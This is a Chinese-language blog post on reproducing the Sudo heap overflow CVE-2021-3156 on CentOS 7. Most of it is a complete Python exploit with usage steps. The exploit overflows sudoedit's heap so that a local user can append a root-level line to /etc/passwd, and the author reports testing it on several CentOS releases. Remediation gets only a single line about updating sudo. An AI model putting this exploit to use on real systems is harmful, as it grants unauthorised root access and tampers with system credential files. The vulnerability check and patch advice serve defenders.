Sudo 缓冲区溢出漏洞(CVE-2021-3156)复现-CentOS7

发布时间 2023-10-26 20:19:39作者: realzhangsan

2021-01-26,MITRE 公开披露了一个由 Sudo 堆缓冲区溢出导致的本地提权漏洞——CVE-2021-3156,MITRE 相关页面显示,1.9.5p2 版本之前的 Sudo 存在该问题。利用该漏洞,普通用户可以将自身身份提升为 root。判断你的 Linux 是否受该漏洞影响,一个简单的方法是执行sudoedit -s /,如果返回是sudoedit: /: not a regular file,表示漏洞存在,如果返回以usage:开头,说明不受该漏洞影响。Github 用户PhuketIsland针对 CentOS7 发布了该漏洞的的 EXP:https://github.com/PhuketIsland/CVE-2021-3156-centos7。以下是该 EXP 的利用方法

  1. 首先提取出/etc/passwd文件中的文本内容

  2. 将文本中要提升权限的用户的 uid 和 gid 改为 0

  3. 将修改后的文本内容插入到下面的代码中的APPEND_CONTENT

  4. 执行修改后的代码文件

  5. 用户 uid 和 gid 已被更改,退出当前登录并重新登录

#!/usr/bin/python
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER

SUDO_PATH = b"/usr/bin/sudo"

PASSWD_PATH = '/etc/passwd'
APPEND_CONTENT = b"""请把我替换为passwd文件中的内容\n""";


STACK_ADDR_PAGE = 0x7fffe5d35000

libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)


def execve(filename, cargv, cenvp):
    libc.execve(filename, cargv, cenvp)


def spawn_raw(filename, cargv, cenvp):
    pid = os.fork()
    if pid:
        _, exit_code = os.waitpid(pid, 0)
        return exit_code
    else:
        execve(filename, cargv, cenvp)
        exit(0)


def spawn(filename, argv, envp):
    cargv = (c_char_p * len(argv))(*argv)
    cenvp = (c_char_p * len(env))(*env)
    return spawn_raw(filename, cargv, cenvp)


resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))

TARGET_CMND_SIZE = 0x1b50

argv = ["sudoedit", "-A", "-s", PASSWD_PATH, "A" * (TARGET_CMND_SIZE - 0x10 - len(PASSWD_PATH) - 1) + "\\", None]

SA = STACK_ADDR_PAGE

ADDR_REFSTR = pack('<Q', SA + 0x20)

ADDR_PRIV_PREV = pack('<Q', SA + 0x10)
ADDR_CMND_PREV = pack('<Q', SA + 0x18)
ADDR_MEMBER_PREV = pack('<Q', SA + 0x20)

ADDR_DEF_VAR = pack('<Q', SA + 0x10)
ADDR_DEF_BINDING = pack('<Q', SA + 0x30)

OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA + OFFSET)
ADDR_MEMBER = pack('<Q', SA + OFFSET + 0x40)
ADDR_CMND = pack('<Q', SA + OFFSET + 0x40 + 0x30)
ADDR_PRIV = pack('<Q', SA + OFFSET + 0x40 + 0x30 + 0x60)

epage = [
    'A' * 0x8 +
    '\x21', '', '', '', '', '', '',
    ADDR_PRIV[:6], '',
    ADDR_CMND[:6], '',
    ADDR_MEMBER[:6], '',

    '\x21', '', '', '', '', '', '',
    '', '', '', '', '', '', '', '',  # members.first
    'A' * 0x10 +  # members.last, pad

    # userspec chunk (get freed)
    '\x41', '', '', '', '', '', '',  # chunk metadata
    '', '', '', '', '', '', '', '',  # entries.tqe_next
    'A' * 8 +  # entries.tqe_prev
    '', '', '', '', '', '', '', '',  # users.tqh_first
    ADDR_MEMBER[:6] + '', '',  # users.tqh_last
    '', '', '', '', '', '', '', '',  # privileges.tqh_first
    ADDR_PRIV[:6] + '', '',  # privileges.tqh_last
    '', '', '', '', '', '', '', '',  # comments.stqh_first

    # member chunk
    '\x31', '', '', '', '', '', '',  # chunk size , userspec.comments.stqh_last (can be any)
    'A' * 8 +  # member.tqe_next (can be any), userspec.lineno (can be any)
    ADDR_MEMBER_PREV[:6], '',  # member.tqe_prev, userspec.file (ref string)
    'A' * 8 +  # member.name (can be any because this object is not freed)
    pack('<H', 284), '',  # type, negated
    'A' * 0xc +  # padding

    # cmndspec chunk
    '\x61' * 0x8 +  # chunk metadata (need only prev_inuse flag)
    'A' * 0x8 +  # entries.tqe_next
    ADDR_CMND_PREV[:6], '',  # entries.teq_prev
    '', '', '', '', '', '', '', '',  # runasuserlist
    '', '', '', '', '', '', '', '',  # runasgrouplist
    ADDR_MEMBER[:6], '',  # cmnd
    '\xf9' + '\xff' * 0x17 +  # tag (NOPASSWD), timeout, notbefore, notafter
    '', '', '', '', '', '', '', '',  # role
    '', '', '', '', '', '', '', '',  # type
    'A' * 8 +  # padding

    # privileges chunk
    '\x51' * 0x8 +  # chunk metadata
    'A' * 0x8 +  # entries.tqe_next
    ADDR_PRIV_PREV[:6], '',  # entries.teq_prev
    'A' * 8 +  # ldap_role
    'A' * 8 +  # hostlist.tqh_first
    ADDR_MEMBER[:6], '',  # hostlist.teq_last
    'A' * 8 +  # cmndlist.tqh_first
    ADDR_CMND[:6], '',  # cmndlist.teq_last
]

cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P' * (padlen - 1))

env = [
    "A" * (7 + 0x4010 + 0x110) +  # overwrite until first defaults
    "\x21\\", "\\", "\\", "\\", "\\", "\\", "\\",
    "A" * 0x18 +
    # defaults
    "\x41\\", "\\", "\\", "\\", "\\", "\\", "\\",  # chunk size
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",  # next
    'a' * 8 +  # prev
    ADDR_DEF_VAR[:6] + '\\', '\\',  # var
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",  # val
    ADDR_DEF_BINDING[:6] + '\\', '\\',  # binding
    ADDR_REFSTR[:6] + '\\', '\\',  # file
    "Z" * 0x8 +  # type, op, error, lineno
    "\x31\\", "\\", "\\", "\\", "\\", "\\", "\\",  # chunk size (just need valid)
    'C' * 0x638 +  # need prev_inuse and overwrite until userspec
    'B' * 0x1b0 +
    # userspec chunk
    # this chunk is not used because list is traversed with curr->prev->prev->next
    "\x61\\", "\\", "\\", "\\", "\\", "\\", "\\",  # chunk size
    ADDR_USER[:6] + '\\', '\\',  # entries.tqe_next points to fake userspec in stack
    "A" * 8 +  # entries.tqe_prev
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",  # users.tqh_first
    ADDR_MEMBER[:6] + '\\', '\\',  # users.tqh_last
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "",  # privileges.tqh_first

    "LC_ALL=C",
    "SUDO_EDITOR=/usr/bin/tee",  # append stdin to /etc/passwd
    "TZ=:",
]

ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
    env.extend(epage)

# last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
env[-1] = env[-1][:-len(SUDO_PATH) - 1 - 8]

env.append(None)

cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)

# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
r, w = os.pipe()
os.dup2(r, 0)
w = os.fdopen(w, 'w')
w.writelines(APPEND_CONTENT)
w.close()

null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)

for i in range(8192):
    sys.stdout.write('%d\r' % i)
    if i % 8 == 0:
        sys.stdout.flush()
    exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
    if exit_code == 0:
        print("success at %d" % i)
        break

我已在 CentOS7.6/7.8/7.9 中测试过该 EXP

修复该漏洞的方法是更新 Sudo,确保`sudoedit -s /`的返回结果以usage:开头。


参考资料

[1] CVE.https://www.cve.org/CVERecord?id=CVE-2021-3156

[2] 阿里云漏洞库.https://avd.aliyun.com/detail?id=AVD-2021-3156

[3] PhuketIsland.Github.https://github.com/PhuketIsland/CVE-2021-3156-centos7